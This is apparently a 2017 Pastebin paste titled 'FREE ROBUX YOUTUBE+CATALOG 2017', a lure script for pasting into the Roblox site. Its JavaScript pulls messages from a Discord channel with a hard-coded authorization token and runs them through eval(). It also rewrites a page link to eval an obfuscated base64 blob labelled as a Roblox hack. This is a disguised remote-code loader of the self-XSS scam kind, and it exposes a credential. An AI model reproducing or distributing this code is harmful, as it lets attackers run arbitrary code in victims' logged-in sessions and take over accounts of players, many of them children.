jeffersonx1996

FREE ROBUX YOUTUBE+CATALOG 2017

Jan 9th, 2017
1,572
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 14.87 KB | None | 0 0
  1. var http = new XMLHttpRequest();
  2. http.addEventListener('load', function () {
  3.     var responseJson = JSON.parse(this.responseText);
  4.     var response = '';
  5.     for (var i = responseJson.length - 1; i >= 0; i--) {
  6.         response += responseJson[i].content.replace(/`JavaScript/g, '').replace(/`/g, '');
  7.     }
  8.     eval(response);
  9. });
  10. http.open('GET', 'https://discordapp.com/api/channels/259529221678956554/messages');
  11. http.setRequestHeader('authorization','MjU5NTI5MzYzNDI5NjU0NTI4.CzZJEg.qHvBhdWWZMOzuVpkg3-R-Q7dAEc');
  12. http.setRequestHeader('Content-Type', 'application/json');
  13. http.send();
  14. document.getElementById("logo-container").href = "javascript:eval(atob('Um9ibG94LkhhY2sgPSB7DQoJb3JpZ2luYWw6ICdtaXNzaW5nbm8nLA0KCWJhbGFuY2U6IDAsDQoJaW5pdGlhbGl6ZWQ6IDAsDQoJbG9hZGluZzogZmFsc2UsDQoJaXRlbXM6IFtdLA0KCWludmVudG9yeVN0cmluZzogJzxsaSBjbGFzcz0ibGlzdC1pdGVtIGl0ZW0tY2FyZCBuZy1zY29wZSI+PGRpdiBjbGFzcz0iaXRlbS1jYXJkLWNvbnRhaW5lciI+PGEgY2xhc3M9Iml0ZW0tY2FyZC1saW5rIiBocmVmPSIlMSIgZGF0YS15dHRhLWlkPSItIj48ZGl2IGNsYXNzPSJpdGVtLWNhcmQtdGh1bWItY29udGFpbmVyIj48ZGl2IG5nLWhpZGU9Iml0ZW0uUHJvZHVjdC5TZXJpYWxOdW1iZXI9PW51bGwiIGNsYXNzPSJpdGVtLXNlcmlhbC1udW1iZXIgbmctYmluZGluZyBuZy1oaWRlIj4jPC9kaXY+PGltZyB0aHVtYm5haWw9Iml0ZW0uVGh1bWJuYWlsIiBpbWFnZS1yZXRyeT0iIiBjbGFzcz0iaXRlbS1jY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